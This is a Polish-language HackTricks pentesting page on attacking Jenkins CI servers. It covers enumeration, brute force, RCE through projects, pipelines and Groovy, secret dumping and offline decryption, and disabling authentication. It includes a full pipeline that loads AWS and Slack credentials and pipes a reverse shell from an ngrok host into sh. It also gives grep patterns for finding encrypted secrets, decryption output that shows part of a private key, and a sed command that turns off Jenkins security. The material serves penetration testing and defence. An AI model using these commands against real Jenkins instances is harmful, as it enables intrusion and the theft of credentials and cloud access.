Jenkins Security

Support HackTricks

Basic Information

Jenkins to narzędzie, które oferuje prostą metodę do stworzenia środowiska ciągłej integracji lub ciągłego dostarczania (CI/CD) dla prawie dowolnej kombinacji języków programowania i repozytoriów kodu źródłowego za pomocą pipeline'ów. Ponadto automatyzuje różne rutynowe zadania deweloperskie. Chociaż Jenkins nie eliminuje potrzeby tworzenia skryptów dla poszczególnych kroków, to jednak zapewnia szybszy i bardziej niezawodny sposób integracji całej sekwencji narzędzi do budowy, testowania i wdrażania niż można łatwo skonstruować ręcznie.

Basic Jenkins Information

Unauthenticated Enumeration

Aby wyszukiwać interesujące strony Jenkins bez uwierzytelnienia, takie jak (/people lub /asynchPeople, które wyświetlają aktualnych użytkowników), możesz użyć:

msf> use auxiliary/scanner/http/jenkins_enum

Sprawdź, czy możesz wykonywać polecenia bez potrzeby uwierzytelnienia:

msf> use auxiliary/scanner/http/jenkins_command

Bez poświadczeń możesz zajrzeć do ścieżki /asynchPeople/ lub /securityRealm/user/admin/search/index?q= w poszukiwaniu nazw użytkowników.

Możesz być w stanie uzyskać wersję Jenkins z ścieżki /oops lub /error

Znane Luki

Logowanie

W podstawowych informacjach możesz sprawdzić wszystkie sposoby logowania się do Jenkins:

Basic Jenkins Information

Rejestracja

Będziesz w stanie znaleźć instancje Jenkins, które pozwalają na utworzenie konta i zalogowanie się do niego. Tak prosto.

Logowanie SSO

Jeśli funkcjonalność/wtyczki SSO były obecne, powinieneś spróbować zalogować się do aplikacji za pomocą konta testowego (tj. testowe konto Github/Bitbucket). Sztuczka z tutaj.

Bruteforce

Jenkins nie ma polityki haseł ani ochrony przed atakami brute-force na nazwy użytkowników. Ważne jest, aby próbować brute-force użytkowników, ponieważ mogą być używane słabe hasła lub nazwy użytkowników jako hasła, nawet odwrócone nazwy użytkowników jako hasła.

msf> use auxiliary/scanner/http/jenkins_login

Password spraying

Użyj tego skryptu python lub tego skryptu powershell.

Ominięcie białej listy IP

Wiele organizacji łączy systemy zarządzania kodem źródłowym (SCM) oparte na SaaS, takie jak GitHub lub GitLab, z wewnętrznym, samodzielnie hostowanym rozwiązaniem CI, takim jak Jenkins lub TeamCity. Taka konfiguracja pozwala systemom CI na odbieranie zdarzeń webhook z dostawców SCM SaaS, głównie w celu uruchamiania zadań w pipeline.

Aby to osiągnąć, organizacje dodają do białej listy zakresy IP platform SCM, zezwalając im na dostęp do wewnętrznego systemu CI za pośrednictwem webhooków. Ważne jest jednak, aby zauważyć, że każdy może założyć konto na GitHubie lub GitLabie i skonfigurować je do uruchamiania webhooka, potencjalnie wysyłając żądania do wewnętrznego systemu CI.

Sprawdź: https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/

Wewnętrzne nadużycia Jenkins

W tych scenariuszach zakładamy, że masz ważne konto do uzyskania dostępu do Jenkinsa.

W zależności od skonfigurowanego mechanizmu autoryzacji w Jenkinsie oraz uprawnień skompromitowanego użytkownika możesz być w stanie lub nie wykonać następujące ataki.

Aby uzyskać więcej informacji, sprawdź podstawowe informacje:

Basic Jenkins Information

Lista użytkowników

Jeśli uzyskałeś dostęp do Jenkinsa, możesz wyświetlić innych zarejestrowanych użytkowników pod adresem http://127.0.0.1:8080/asynchPeople/

Zrzucanie buildów w celu znalezienia jawnych sekretów

Użyj tego skryptu, aby zrzucić wyjścia konsoli buildów i zmienne środowiskowe buildów, aby mieć nadzieję na znalezienie jawnych sekretów.

python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
cd build_dumps
gitleaks detect --no-git -v

Kradzież poświadczeń SSH

Jeśli skompromitowany użytkownik ma wystarczające uprawnienia do tworzenia/modyfikowania nowego węzła Jenkins i poświadczenia SSH są już przechowywane do uzyskania dostępu do innych węzłów, może ukraść te poświadczenia, tworząc/modyfikując węzeł i ustawiając hosta, który zarejestruje poświadczenia bez weryfikacji klucza hosta:

Zazwyczaj znajdziesz poświadczenia ssh Jenkins w globalnym dostawcy (/credentials/), więc możesz je również zrzucić, tak jak zrzucasz inne sekrety. Więcej informacji w sekcji Zrzucanie sekretów.

RCE w Jenkins

Uzyskanie powłoki na serwerze Jenkins daje atakującemu możliwość wycieku wszystkich sekretów i zmiennych środowiskowych oraz eksploatacji innych maszyn znajdujących się w tej samej sieci lub nawet zbierania poświadczeń chmurowych.

Domyślnie Jenkins będzie działał jako SYSTEM. Zatem jego skompromitowanie da atakującemu uprawnienia SYSTEM.

RCE Tworzenie/Modyfikowanie projektu

Tworzenie/modyfikowanie projektu to sposób na uzyskanie RCE na serwerze Jenkins:

Jenkins RCE Creating/Modifying Project

RCE Wykonanie skryptu Groovy

Możesz również uzyskać RCE, wykonując skrypt Groovy, co może być bardziej dyskretne niż tworzenie nowego projektu:

Jenkins RCE with Groovy Script

RCE Tworzenie/Modyfikowanie Pipeline

Możesz również uzyskać RCE, tworząc/modyfikując pipeline:

Jenkins RCE Creating/Modifying Pipeline

Eksploatacja Pipeline

Aby eksploatować pipeline, nadal musisz mieć dostęp do Jenkins.

Budowanie Pipeline

Pipeline mogą być również używane jako mechanizm budowania w projektach, w takim przypadku można skonfigurować plik w repozytorium, który będzie zawierał składnię pipeline. Domyślnie używany jest /Jenkinsfile:

Możliwe jest również przechowywanie plików konfiguracyjnych pipeline w innych miejscach (na przykład w innych repozytoriach) w celu oddzielenia dostępu do repozytorium i dostępu do pipeline.

Jeśli atakujący ma dostęp do zapisu w tym pliku, będzie mógł go zmodyfikować i potencjalnie uruchomić pipeline bez nawet dostępu do Jenkins. Możliwe, że atakujący będzie musiał obejść niektóre zabezpieczenia gałęzi (w zależności od platformy i uprawnień użytkownika mogą one być ominięte lub nie).

Najczęstsze wyzwalacze do uruchomienia niestandardowego pipeline to:

  • Pull request do głównej gałęzi (lub potencjalnie do innych gałęzi)

  • Push do głównej gałęzi (lub potencjalnie do innych gałęzi)

  • Aktualizacja głównej gałęzi i czekanie, aż zostanie uruchomiona w jakiś sposób

Jeśli jesteś użytkownikiem zewnętrznym, nie powinieneś oczekiwać, że stworzysz PR do głównej gałęzi repozytorium innego użytkownika/organizacji i uruchomisz pipeline... ale jeśli jest źle skonfigurowany, możesz całkowicie skomplikować firmy, po prostu to eksploatując.

RCE Pipeline

W poprzedniej sekcji RCE już wskazano technikę, aby uzyskać RCE, modyfikując pipeline.

Sprawdzanie zmiennych środowiskowych

Możliwe jest zadeklarowanie zmiennych środowiskowych w postaci czystego tekstu dla całego pipeline lub dla konkretnych etapów. Te zmienne środowiskowe nie powinny zawierać wrażliwych informacji, ale atakujący zawsze może sprawdzić wszystkie konfiguracje pipeline/Jenkinsfiles:

pipeline {
agent {label 'built-in'}
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {

Dumping secrets

Aby uzyskać informacje na temat tego, jak sekrety są zazwyczaj traktowane przez Jenkins, zapoznaj się z podstawowymi informacjami:

Basic Jenkins Information

Poświadczenia mogą być ograniczone do globalnych dostawców (/credentials/) lub do konkretnych projektów (/job/<project-name>/configure). Dlatego, aby wyeksfiltrować wszystkie z nich, musisz skompromitować przynajmniej wszystkie projekty, które zawierają sekrety i wykonać niestandardowe/zepsute potoki.

Jest jeszcze jeden problem, aby uzyskać sekret wewnątrz env potoku, musisz znać nazwę i typ sekrety. Na przykład, jeśli spróbujesz załadować sekret usernamePassword jako sekret string, otrzymasz ten błąd:

ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected

Oto sposób na załadowanie niektórych powszechnych typów sekretów:

withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
sh '''
env #Search for USERNAME and PASS
'''
}

withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) {
sh '''
env #Search for SECRET
'''
}

withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) {
sh '''
env # Search for USERPASS
'''
}

# You can also load multiple env variables at once
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
env
'''
}

Na końcu tej strony możesz znaleźć wszystkie typy poświadczeń: https://www.jenkins.io/doc/pipeline/steps/credentials-binding/

Najlepszym sposobem na zrzucenie wszystkich sekretów jednocześnie jest kompromitacja maszyny Jenkins (na przykład uruchamiając odwróconą powłokę w wbudowanym węźle) i następnie wyciek kluczy głównych oraz zaszyfrowanych sekretów i odszyfrowanie ich offline. Więcej na ten temat w sekcji Węzły i Agenci oraz w sekcji Po Eksploatacji.

Wyzwalacze

Z dokumentacji: Dyrektywa triggers definiuje automatyczne sposoby, w jakie Pipeline powinien być ponownie wyzwalany. Dla Pipeline'ów, które są zintegrowane z źródłem takim jak GitHub lub BitBucket, triggers mogą nie być konieczne, ponieważ integracja oparta na webhookach prawdopodobnie już istnieje. Obecnie dostępne wyzwalacze to cron, pollSCM i upstream.

Przykład cron:

triggers { cron('H */4 * * 1-5') }

Sprawdź inne przykłady w dokumentacji.

Węzły i Agenci

Instancja Jenkins może mieć różne agenty działające na różnych maszynach. Z perspektywy atakującego, dostęp do różnych maszyn oznacza różne potencjalne dane uwierzytelniające do chmury do kradzieży lub różny dostęp do sieci, który można wykorzystać do eksploatacji innych maszyn.

Aby uzyskać więcej informacji, sprawdź podstawowe informacje:

Basic Jenkins Information

Możesz enumerować skonfigurowane węzły w /computer/, zazwyczaj znajdziesz **Wbudowany Węzeł ** (który jest węzłem uruchamiającym Jenkins) i potencjalnie więcej:

Jest szczególnie interesujące, aby skompromitować Wbudowany węzeł, ponieważ zawiera wrażliwe informacje o Jenkinsie.

Aby wskazać, że chcesz uruchomić pipeline na wbudowanym węźle Jenkins, możesz określić w pipeline następującą konfigurację:

pipeline {
agent {label 'built-in'}

Pełny przykład

Pipeline w konkretnym agencie, z wyzwalaczem cron, z zmiennymi środowiskowymi pipeline i etapu, ładujący 2 zmienne w kroku i wysyłający reverse shell:

pipeline {
agent {label 'built-in'}
triggers { cron('H */4 * * 1-5') }
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
'''
}
}
}

post {
always {
cleanWs()
}
}
}

Odczyt dowolnych plików do RCE

Jenkins Arbitrary File Read to RCE via "Remember Me"

RCE

Jenkins RCE with Groovy ScriptJenkins RCE Creating/Modifying ProjectJenkins RCE Creating/Modifying Pipeline

Po eksploatacji

Metasploit

msf> post/multi/gather/jenkins_gather

Jenkins Secrets

Możesz wylistować sekrety, uzyskując dostęp do /credentials/, jeśli masz wystarczające uprawnienia. Zauważ, że to wylistuje tylko sekrety znajdujące się w pliku credentials.xml, ale pliki konfiguracyjne budowy mogą również zawierać więcej poświadczeń.

Jeśli możesz zobaczyć konfigurację każdego projektu, możesz również zobaczyć tam nazwy poświadczeń (sekretów) używanych do uzyskania dostępu do repozytorium oraz inne poświadczenia projektu.

From Groovy

Jenkins Dumping Secrets from Groovy

From disk

Te pliki są potrzebne do odszyfrowania sekretów Jenkins:

  • secrets/master.key

  • secrets/hudson.util.Secret

Takie sekrety można zazwyczaj znaleźć w:

  • credentials.xml

  • jobs/.../build.xml

  • jobs/.../config.xml

Oto regex, aby je znaleźć:

# Find the secrets
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Print only the filenames where the secrets are located
grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"

# Secret example
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>

Decrypt Jenkins secrets offline

Jeśli masz zrzutane potrzebne hasła do odszyfrowania sekretów, użyj tego skryptu do odszyfrowania tych sekretów.

python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
06165DF2-C047-4402-8CAB-1C8EC526C115
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT

Odszyfrowanie sekretów Jenkins z Groovy

println(hudson.util.Secret.decrypt("{...}"))

Utwórz nowego użytkownika administratora

  1. Uzyskaj dostęp do pliku Jenkins config.xml w /var/lib/jenkins/config.xml lub C:\Program Files (x86)\Jenkins\

  2. Wyszukaj słowo <useSecurity>true</useSecurity> i zmień słowo true na false.

  3. sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml

  4. Uruchom ponownie serwer Jenkins: service jenkins restart

  5. Teraz przejdź ponownie do portalu Jenkins i Jenkins nie poprosi o żadne dane uwierzytelniające tym razem. Przejdź do "Zarządzaj Jenkins", aby ustawić hasło administratora ponownie.

  6. Włącz ponownie bezpieczeństwo, zmieniając ustawienia na <useSecurity>true</useSecurity> i uruchom ponownie Jenkins.

Odniesienia

Wsparcie HackTricks

Last updated